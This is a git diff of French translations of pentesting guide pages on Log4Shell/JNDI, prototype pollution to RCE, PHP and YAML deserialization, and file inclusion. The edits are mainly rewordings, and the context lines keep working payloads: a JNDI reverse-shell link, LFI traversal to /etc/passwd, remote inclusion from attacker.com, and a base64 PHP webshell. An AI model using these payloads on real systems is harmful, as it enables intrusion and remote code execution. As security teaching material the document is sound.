@ -33,7 +33,7 @@ Malgré les protections, des vulnérabilités subsistent, principalement en rais
![](<../../images/image (1022).png>)
Même si vous avez défini un **`PROVIDER_URL`**, vous pouvez en indiquer un différent dans une recherche et il sera accessible : `ctx.lookup("<attacker-controlled-url>")` et c'est ce qu'un attaquant abuserez pour charger des objets arbitraires à partir d'un système qu'il contrôle.
Même si vous avez défini un **`PROVIDER_URL`**, vous pouvez en indiquer un différent dans une recherche et il sera accessible : `ctx.lookup("<attacker-controlled-url>")` et c'est ce qu'un attaquant abusera pour charger des objets arbitraires à partir d'un système qu'il contrôle.
### Aperçu de CORBA
@ -47,7 +47,7 @@ Notamment, CORBA n'est pas intrinsèquement vulnérable. Assurer la sécurité i
- Installation d'un **Gestionnaire de Sécurité**.
- Configuration du Gestionnaire de Sécurité pour permettre les connexions à des codebases potentiellement malveillantes. Cela peut être réalisé par :
- Permission de socket, par exemple, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- Permissions de lecture de fichiers, soit universellement (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
- Permissions de lecture de fichiers, soit universelles (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
Cependant, certaines politiques de fournisseurs peuvent être indulgentes et permettre ces connexions par défaut.
@ -57,7 +57,7 @@ Pour RMI (Remote Method Invocation), la situation est quelque peu différente. C
### LDAP
Tout d'abord, nous devons faire la distinction entre une recherche et une recherche de nom.\
Tout d'abord, nous devons distinguer entre une recherche et une recherche de nom.\
Une **recherche** utilisera une URL comme `ldap://localhost:389/o=JNDITutorial` pour trouver l'objet JNDITutorial à partir d'un serveur LDAP et **récupérer ses attributs**.\
Une **recherche de nom** est destinée aux **services de nommage** car nous voulons obtenir **tout ce qui est lié à un nom**.
@ -99,7 +99,7 @@ Cette vulnérabilité est un **défaut de désérialisation non fiable** dans le
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critique]**
Initialement évalué comme faible mais ensuite reclassé comme critique, ce CVE est un **défaut de déni de service (DoS)** résultant d'un correctif incomplet dans 2.15.0 pour CVE-2021-44228. Il affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS via des charges utiles conçues. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de message et en désactivant JNDI par défaut.
Initialement évalué comme faible mais ensuite reclassé comme critique, ce CVE est un défaut de **Déni de Service (DoS)** résultant d'un correctif incomplet dans 2.15.0 pour CVE-2021-44228. Il affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS via des charges utiles conçues. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de message et en désactivant JNDI par défaut.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Élevé]**
@ -205,9 +205,9 @@ Any other env variable name that could store sensitive information
### Informations sur RCE
> [!NOTE]
> Les hôtes fonctionnant sur des versions JDK supérieures à 6u141, 7u131 ou 8u121 sont protégés contre le vecteur d'attaque de chargement de classe LDAP. Cela est dû à la désactivation par défaut de `com.sun.jndi.ldap.object.trustURLCodebase`, qui empêche JNDI de charger une base de code distante via LDAP. Cependant, il est crucial de noter que ces versions ne sont **pas protégées contre le vecteur d'attaque de désérialisation**.
> Les hôtes fonctionnant sur des versions de JDK supérieures à 6u141, 7u131 ou 8u121 sont protégés contre le vecteur d'attaque de chargement de classe LDAP. Cela est dû à la désactivation par défaut de `com.sun.jndi.ldap.object.trustURLCodebase`, qui empêche JNDI de charger une base de code distante via LDAP. Cependant, il est crucial de noter que ces versions ne sont **pas protégées contre le vecteur d'attaque de désérialisation**.
>
> Pour les attaquants cherchant à exploiter ces versions JDK supérieures, il est nécessaire de tirer parti d'un **gadget de confiance** au sein de l'application Java. Des outils comme ysoserial ou JNDIExploit sont souvent utilisés à cet effet. En revanche, exploiter des versions JDK inférieures est relativement plus facile car ces versions peuvent être manipulées pour charger et exécuter des classes arbitraires.
> Pour les attaquants cherchant à exploiter ces versions supérieures de JDK, il est nécessaire de tirer parti d'un **gadget de confiance** au sein de l'application Java. Des outils comme ysoserial ou JNDIExploit sont souvent utilisés à cet effet. En revanche, exploiter des versions inférieures de JDK est relativement plus facile car ces versions peuvent être manipulées pour charger et exécuter des classes arbitraires.
>
> Pour **plus d'informations** (_comme les limitations sur les vecteurs RMI et CORBA_) **consultez la section précédente sur la Référence de Nom JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
@ -231,7 +231,7 @@ e.printStackTrace();
}
}
```
Compilez le fichier Java en un fichier de classe en utilisant : `javac Exploit.java -source 8 -target 8`. Ensuite, initiez un **serveur HTTP** dans le répertoire contenant le fichier de classe avec : `python3 -m http.server`. Assurez-vous que le **serveur LDAP marshalsec** référence ce serveur HTTP.
Compile le fichier Java en un fichier de classe en utilisant : `javac Exploit.java -source 8 -target 8`. Ensuite, initiez un **serveur HTTP** dans le répertoire contenant le fichier de classe avec : `python3 -m http.server`. Assurez-vous que le **serveur LDAP marshalsec** référence ce serveur HTTP.
Déclenchez l'exécution de la classe d'exploitation sur le serveur web vulnérable en envoyant une charge utile ressemblant à :
```bash
@ -279,7 +279,7 @@ Lorsque vous envoyez les attaques, vous verrez une sortie dans le terminal où v
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
De la même manière que l'exploit précédent, vous pouvez essayer d'utiliser [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) pour exploiter cette vulnérabilité.\
De manière similaire à l'exploit précédent, vous pouvez essayer d'utiliser [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) pour exploiter cette vulnérabilité.\
Vous pouvez générer les URL à envoyer à la victime en exécutant :
```bash
# Get reverse shell in port 4444 (only unix)
@ -292,7 +292,7 @@ _Ce type d'attaque utilisant un objet Java généré sur mesure fonctionnera dan
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) est un autre outil pour générer des **liens JNDI fonctionnels** et fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.\
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) est un autre outil pour générer des **liens JNDI exploitables** et fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.\
### RCE - ysoserial & JNDI-Exploit-Kit
@ -309,7 +309,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tm
```
![](<../../images/image (1118).png>)
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un **reverse shell** en l'envoyant à une version vulnérable de log4j : **`${ldap://10.10.14.10:1389/generated}`**
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un **reverse shell** simplement en l'envoyant à une version vulnérable de log4j : **`${ldap://10.10.14.10:1389/generated}`**
### Bypasses
```java
@ -373,7 +373,7 @@ Dans le CTF, vous **ne pouviez pas accéder à stderr** de l'application java ut
### Exceptions des modèles de conversion
Juste pour le mentionner, vous pourriez également injecter de nouveaux [**modèles de conversion**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) et déclencher des exceptions qui seront enregistrées dans `stdout`. Par exemple :
Juste pour le mentionner, vous pouviez également injecter de nouveaux [**modèles de conversion**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) et déclencher des exceptions qui seront enregistrées dans `stdout`. Par exemple :
![](<../../images/image (683).png>)
@ -381,7 +381,7 @@ Cela n'a pas été jugé utile pour exfiltrer des données à l'intérieur du me
### Regex des modèles de conversion
Cependant, il est possible d'utiliser certains **modèles de conversion qui supportent les regex** pour exfiltrer des informations d'une recherche en utilisant des regex et en abusant des **recherches binaires** ou des comportements **basés sur le temps**.
Cependant, il est possible d'utiliser certains **modèles de conversion qui prennent en charge les regex** pour exfiltrer des informations d'une recherche en utilisant des regex et en abusant des **recherches binaires** ou des comportements **basés sur le temps**.
- **Recherche binaire via les messages d'exception**
@ -416,7 +416,7 @@ Dans ce [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
> }{#}{######################################################}
> ```
>
> Si le drapeau commence par `flagGuess`, le drapeau entier est remplacé par 29 `#`-s (j'ai utilisé ce caractère car il ne ferait probablement pas partie du drapeau). **Chacun des 29 `#`-s résultants est ensuite remplacé par 54 `#`-s**. Ce processus est répété **6 fois**, ce qui donne un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> Si le drapeau commence par `flagGuess`, l'ensemble du drapeau est remplacé par 29 `#`-s (j'ai utilisé ce caractère car il ne ferait probablement pas partie du drapeau). **Chacun des 29 `#`-s résultants est ensuite remplacé par 54 `#`-s**. Ce processus est répété **6 fois**, ce qui donne un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
> Remplacer autant de `#`-s déclenchera le timeout de 10 secondes de l'application Flask, ce qui entraînera l'envoi du code d'état HTTP 500 à l'utilisateur. (Si le drapeau ne commence pas par `flagGuess`, nous recevrons un code d'état non-500)

8
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View File

@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
```
### Pollution des éléments de tableau
Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par des index** (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer des index qui sont d'une certaine manière utilisés mais non écrits).
Notez qu'étant donné que vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par des index** (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer des index qui sont d'une certaine manière utilisés mais non écrits).
```javascript
c = [1, 2]
a = []
@ -183,7 +183,7 @@ Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
Le mécanisme derrière cela implique de manipuler des propriétés de sorte que si un attaquant a le contrôle sur certaines entrées, il peut modifier le prototype de tous les objets dans l'application. Cette manipulation implique généralement de définir la propriété `__proto__`, qui, en JavaScript, est synonyme de modification directe du prototype d'un objet.
Le mécanisme derrière cela implique de manipuler des propriétés de sorte que si un attaquant a le contrôle de certaines entrées, il peut modifier le prototype de tous les objets dans l'application. Cette manipulation implique généralement de définir la propriété `__proto__`, qui, en JavaScript, est synonyme de modification directe du prototype d'un objet.
Les conditions sous lesquelles cette attaque peut être exécutée avec succès, comme décrit dans une [étude](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) spécifique, incluent :
@ -213,7 +213,7 @@ client-side-prototype-pollution.md
### CVE-2019–11358 : Attaque de pollution de prototype via jQuery $ .extend
[Pour plus de détails, consultez cet article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Dans jQuery, la fonction `$ .extend` peut entraîner une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :
[Pour plus de détails, consultez cet article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Dans jQuery, la fonction `$ .extend` peut conduire à une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
@ -226,7 +226,7 @@ Cette vulnérabilité, identifiée comme CVE-2019–11358, illustre comment une
[Lodash](https://www.npmjs.com/package/lodash) a rencontré des vulnérabilités similaires de pollution de prototype (CVE-2018–3721, CVE-2019–10744). Ces problèmes ont été résolus dans la version 4.17.11.
### Un autre tutoriel avec des CVEs
### Un autre tutoriel avec des CVE
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}

4
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
View File

@ -56,11 +56,11 @@ Lors de la décision sur quelle pile enquêter, il est souvent utile de cibler l
Le gadget est le **code qui sera abusé une fois qu'une vulnérabilité PP est découverte**.
Si l'application est simple, nous pouvons **chercher** des **mots-clés** comme **`srcdoc/innerHTML/iframe/createElement`** et examiner le code source pour vérifier s'il **mène à l'exécution de javascript**. Parfois, les techniques mentionnées peuvent ne pas trouver de gadgets du tout. Dans ce cas, une simple révision du code source révèle de jolis gadgets comme l'exemple ci-dessous.
Si l'application est simple, nous pouvons **chercher** des **mots-clés** comme **`srcdoc/innerHTML/iframe/createElement`** et examiner le code source pour vérifier s'il **conduit à l'exécution de javascript**. Parfois, les techniques mentionnées peuvent ne pas trouver de gadgets du tout. Dans ce cas, une simple révision du code source révèle de jolis gadgets comme l'exemple ci-dessous.
### Exemple de recherche de gadget PP dans le code de la bibliothèque Mithil
Vérifiez cette rédaction : [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
Consultez cet article : [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## Recompilation des charges utiles pour les bibliothèques vulnérables

8
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
View File

@ -4,7 +4,7 @@
## Servir des réponses XSS
**Pour plus de détails** [**consultez la recherche originale**](https://portswigger.net/research/server-side-prototype-pollution)
**Pour plus de détails** [**jetez un œil à la recherche originale**](https://portswigger.net/research/server-side-prototype-pollution)
### Changer le type de contenu JSON en HTML
@ -50,7 +50,7 @@ Il nécessite que le **module CORS soit installé**
### **Méthode OPTIONS**
Avec la charge utile suivante, il est possible de **cacher une méthode d'une réponse OPTIONS** :
Avec le payload suivant, il est possible de **cacher une méthode d'une réponse OPTIONS** :
```javascript
// Original reponse: POST,GET,HEAD
@ -67,7 +67,7 @@ Il est possible de changer le **code de statut retourné** en utilisant le paylo
```
### Erreur
Lorsque vous assignez à un prototype avec un primitif tel qu'une chaîne, cela produit une **opération no-op puisque le prototype doit être un objet**. Si vous essayez d'assigner un objet prototype à `Object.prototype` lui-même, cela **lancera une exception**. Nous pouvons utiliser ces deux comportements pour **détecter si la pollution du prototype a réussi** :
Lorsque vous assignez à un prototype avec un primitif tel qu'une chaîne, cela produit une **opération no-op car le prototype doit être un objet**. Si vous essayez d'assigner un objet prototype à `Object.prototype` lui-même, cela **lancera une exception**. Nous pouvons utiliser ces deux comportements pour **détecter si la pollution du prototype a réussi** :
```javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
@ -76,7 +76,7 @@ Lorsque vous assignez à un prototype avec un primitif tel qu'une chaîne, cela
```
### Valeur réfléchie
Lorsque une application inclut un objet dans sa réponse, créer un attribut avec un **nom inhabituel en plus de `__proto__`** peut être révélateur. En particulier, si **seul l'attribut inhabituel est renvoyé** dans la réponse, cela pourrait indiquer la vulnérabilité de l'application :
Lorsqu'une application inclut un objet dans sa réponse, créer un attribut avec un **nom inhabituel en plus de `__proto__`** peut être révélateur. En particulier, si **seul l'attribut inhabituel est renvoyé** dans la réponse, cela pourrait indiquer la vulnérabilité de l'application :
```json
{ "unusualName": "value", "__proto__": "test" }
```

12
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
View File

@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE** signifie **Prototype Pollution to RCE** (Exécution de Code à Distance).
Selon ce [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est créé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou d'autres), il appelle la méthode `normalizeSpawnArguments` qui est un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement** :
Selon cette [**analyse**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est créé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou d'autres), il appelle la méthode `normalizeSpawnArguments` qui est un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement** :
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -67,9 +67,9 @@ Vérifiez ce code, vous pouvez voir qu'il est possible de **poisonner `envPairs`
> [!WARNING]
> Notez qu'en raison de la façon dont la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de node fonctionne, lorsque quelque chose est appelé pour **définir une nouvelle variable d'environnement** pour le processus, vous devez simplement **polluer n'importe quoi**.\
> Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une variable appelée `avar` ayant pour valeur `valuevar`.
> Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une var appelée `avar` avec la valeur `valuevar`.
>
> Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'**attribut `.env`** et (uniquement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
> Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'**attribut `.env`** et (uniquement dans certaines méthodes) cette var sera la **première** (permettant l'attaque).
>
> C'est pourquoi **`NODE_OPTIONS`** n'est **pas à l'intérieur de `.env`** dans l'attaque suivante.
```javascript
@ -124,7 +124,7 @@ var proc = fork("a_file.js")
Un payload similaire à celui précédent avec quelques modifications a été proposé dans [**cet article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont :
- Au lieu de stocker le **payload** nodejs à l'intérieur du fichier `/proc/self/environ`, il le stocke **à l'intérieur de argv0** de **`/proc/self/cmdline`**.
- Au lieu de stocker le **payload** nodejs à l'intérieur du fichier `/proc/self/environ`, il le stocke i**nside argv0** de **`/proc/self/cmdline`**.
- Ensuite, au lieu de requérir via **`NODE_OPTIONS`** le fichier `/proc/self/environ`, il **requiert `/proc/self/cmdline`**.
```javascript
const { execSync, fork } = require("child_process")
@ -369,7 +369,7 @@ var proc = execSync("something")
<details>
<summary><strong>Exploitation de <code>execSync</code></strong></summary>
<summary><strong><code>execSync</code> exploitation</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -467,7 +467,7 @@ Dans les exemples précédents, vous avez vu comment déclencher le gadget, une
### Contrôler un chemin de fichier require
Dans cette [**autre analyse**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin de fichier où un **`require`** sera exécuté. Dans ce scénario, l'attaquant doit simplement **trouver un fichier `.js` à l'intérieur du système** qui **exécutera une méthode spawn lorsqu'il sera importé.**\
Dans cette [**autre analyse**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin du fichier où un **`require`** sera exécuté. Dans ce scénario, l'attaquant doit simplement **trouver un fichier `.js` à l'intérieur du système** qui **exécutera une méthode spawn lorsqu'il sera importé.**\
Quelques exemples de fichiers courants appelant une fonction spawn lorsqu'ils sont importés sont :
- /path/to/npm/scripts/changelog.js

8
src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Tout d'abord, vous devriez vérifier ce que sont les [**Classes de Chargement Automatique**](https://www.php.net/manual/en/language.oop5.autoload.php).
Tout d'abord, vous devez vérifier ce que sont les [**Classes de Chargement Automatique**](https://www.php.net/manual/en/language.oop5.autoload.php).
## Désérialisation PHP + spl_autoload_register + LFI/Gadget
Nous sommes dans une situation où nous avons trouvé une **désérialisation PHP dans une webapp** sans **aucune** bibliothèque vulnérable aux gadgets à l'intérieur de **`phpggc`**. Cependant, dans le même conteneur, il y avait une **webapp composer différente avec des bibliothèques vulnérables**. Par conséquent, l'objectif était de **charger le chargeur composer de l'autre webapp** et de l'exploiter pour **charger un gadget qui exploitera cette bibliothèque avec un gadget** de la webapp vulnérable à la désérialisation.
Nous sommes dans une situation où nous avons trouvé une **désérialisation PHP dans une webapp** sans **aucune** bibliothèque vulnérable aux gadgets à l'intérieur de **`phpggc`**. Cependant, dans le même conteneur, il y avait une **autre webapp composer avec des bibliothèques vulnérables**. Par conséquent, l'objectif était de **charger le chargeur composer de l'autre webapp** et de l'exploiter pour **charger un gadget qui exploitera cette bibliothèque avec un gadget** de la webapp vulnérable à la désérialisation.
Étapes :
@ -36,12 +36,12 @@ require __DIR__ . $filename;
});
```
> [!TIP]
> Si vous avez un **téléchargement de fichier** et que vous pouvez télécharger un fichier avec une **extension `.php`**, vous pourriez **abuser de cette fonctionnalité directement** et obtenir déjà un RCE.
> Si vous avez un **téléchargement de fichier** et que vous pouvez télécharger un fichier avec une **extension `.php`**, vous pourriez **abuser directement de cette fonctionnalité** et obtenir déjà un RCE.
Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur le **même conteneur** une autre page web composer avec une **bibliothèque vulnérable à un gadget `phpggc`**.
- Pour charger cette autre bibliothèque, vous devez d'abord **charger le chargeur composer de cette autre application web** (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). **Connaissant le chemin de l'application**, vous pouvez y parvenir très facilement avec : **`O:28:"www_frontend_vendor_autoload":0:{}`** (Dans mon cas, le chargeur composer était dans `/www/frontend/vendor/autoload.php`)
- Maintenant, vous pouvez **charger** le **chargeur composer de l'autre application**, donc il est temps de **`générer le phpgcc`** **payload** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, ce qui m'a permis de **écrire n'importe quel fichier dans le système de fichiers**.
- Maintenant, vous pouvez **charger** le **chargeur composer de l'autre application**, donc il est temps de **`générer le payload phpgcc`** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, ce qui m'a permis de **écrire n'importe quel fichier dans le système de fichiers**.
- REMARQUE : Le **gadget généré ne fonctionnait pas**, pour qu'il fonctionne, j'ai **modifié** ce payload **`chain.php`** de phpggc et défini **tous les attributs** des classes **de privé à public**. Sinon, après avoir désérialisé la chaîne, les attributs des objets créés n'avaient aucune valeur.
- Maintenant, nous avons le moyen de **charger le chargeur composer de l'autre application** et d'avoir un **payload phpggc qui fonctionne**, mais nous devons **faire cela dans la MÊME DEMANDE pour que le chargeur soit chargé lorsque le gadget est utilisé**. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme :
- Vous pouvez voir **d'abord le chargeur être chargé puis le payload**.

2
src/pentesting-web/deserialization/python-yaml-deserialization.md
View File

@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Le code précédent utilisait **unsafe_load** pour charger la classe python sérialisée. Cela est dû au fait qu'à partir de **la version >= 5.1**, il n'autorise pas à **désérialiser une classe python sérialisée ou un attribut de classe**, sans Loader spécifié dans load() ou Loader=SafeLoader.
Le code précédent utilisait **unsafe_load** pour charger la classe python sérialisée. Cela est dû au fait qu'à partir de **la version >= 5.1**, il n'autorise pas à **désérialiser toute classe python sérialisée ou attribut de classe**, sans Loader spécifié dans load() ou Loader=SafeLoader.
### Exploit de base

72
src/pentesting-web/file-inclusion/README.md
View File

@ -45,7 +45,7 @@ Vérifiez la liste LFI de linux.
## LFI de base et contournements
Tous les exemples concernent l'inclusion de fichiers locaux, mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Tous les exemples concernent l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -65,7 +65,7 @@ Ceci est **résolu depuis PHP 5.4**
### **Encodage**
Vous pouvez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
Vous pourriez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -86,7 +86,7 @@ Le système de fichiers d'un serveur peut être exploré de manière récursive
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe pour les dossiers :** Ajoutez le nom du dossier suspecté (par exemple, `private`) à l'URL, puis naviguez vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
2. **Explorer les Dossiers :** Ajoutez le nom du dossier suspect (par exemple, `private`) à l'URL, puis naviguez vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -119,13 +119,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Dans ces scénarios, le nombre de traversées nécessaires pourrait être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- **Utilisation de segments de points et de caractères supplémentaires** : Les séquences de traversée (`../`) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
- **Détermination du nombre requis de traversées** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer jusqu'au répertoire racine puis à `/etc/passwd`, en s'assurant que toutes les chaînes ajoutées (comme `.php`) sont neutralisées mais que le chemin désiré (`/etc/passwd`) reste intact.
- **Commencer par un répertoire fictif** : Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse de chemin du serveur.
- **Commencer par un répertoire fictif** : Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique de parsing de chemin du serveur.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement de parsing de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
@ -137,14 +137,14 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Inclusion de Fichiers à Distance
## Inclusion de Fichier à Distance
Dans php, cela est désactivé par défaut car **`allow_url_include`** est **Désactivé.** Il doit être **Activé** pour que cela fonctionne, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir un RCE :
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en b64 et obtenir RCE :
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP b64 et obtenir RCE :
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -157,7 +157,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
```
## Élément racine Python
Dans Python, dans un code comme celui-ci :
Dans python, dans un code comme celui-ci :
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -233,7 +233,7 @@ Les filtres PHP permettent d'effectuer des **opérations de modification de base
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsolète
- `mdecrypt.*` : Obsolète
- Autres filtres
- Autres Filtres
- En exécutant dans php `var_dump(stream_get_filters());`, vous pouvez trouver quelques **filtres inattendus** :
- `consumed`
- `dechunk` : inverse l'encodage HTTP en morceaux
@ -267,9 +267,9 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
